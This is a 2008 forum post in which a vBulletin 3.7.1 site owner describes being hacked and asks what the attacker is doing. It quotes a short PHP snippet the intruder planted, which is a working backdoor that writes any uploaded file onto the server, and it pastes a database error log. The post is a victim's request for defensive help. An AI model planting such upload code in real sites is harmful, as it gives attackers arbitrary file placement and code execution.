Potential Exploit in VB 3.7.1?

[pspcrazy]

Hi as of late they have been a hacker that's been messing with my site. I removed some code which he placed into my code the last time he hacked:

PHP Code:

<?php $ficnt = @fread(@fopen($_FILES["s"]["tmp_name"], "rb"), $_FILES["s"]["size"]); 
if(@fwrite(@fopen($_FILES["s"]["name"], "wb"), $ficnt)) echo $_FILES["s"]["name"]; ?>

Don't know what it does but i know it's not supposed to be there.

Oddly though now he's doing something else and i'm getting a lot of sql errors like:

Database error in vBulletin 3.7.1:

Invalid SQL:

                       SELECT COUNT(*) AS count
                       FROM vbattachment
                       WHERE posthash = 'invalid posthash'
                               AND userid = 0;

MySQL Error   : Lost connection to MySQL server during query
Error Number  : 2013
Request Date  : Wednesday, May 28th 2008 @ 03:14:25 PM
Error Date    : Wednesday, May 28th 2008 @ 03:15:04 PM
Script        : http://www.animecrazy.net/forums/newreply.php?do=postreply&t=1607
Referrer      : http://www.animecrazy.net/forums/newreply.php?do=newreply&noquote=1&p=3625
IP Address    : 24.47.55.108
Username      : crack
Classname     : vB_Database

which only occur when he tries to hack me and the username crack remains the same but the ip changes mabye 10 different times per minute very odd.

Anyone have any ideas as to what he's doing?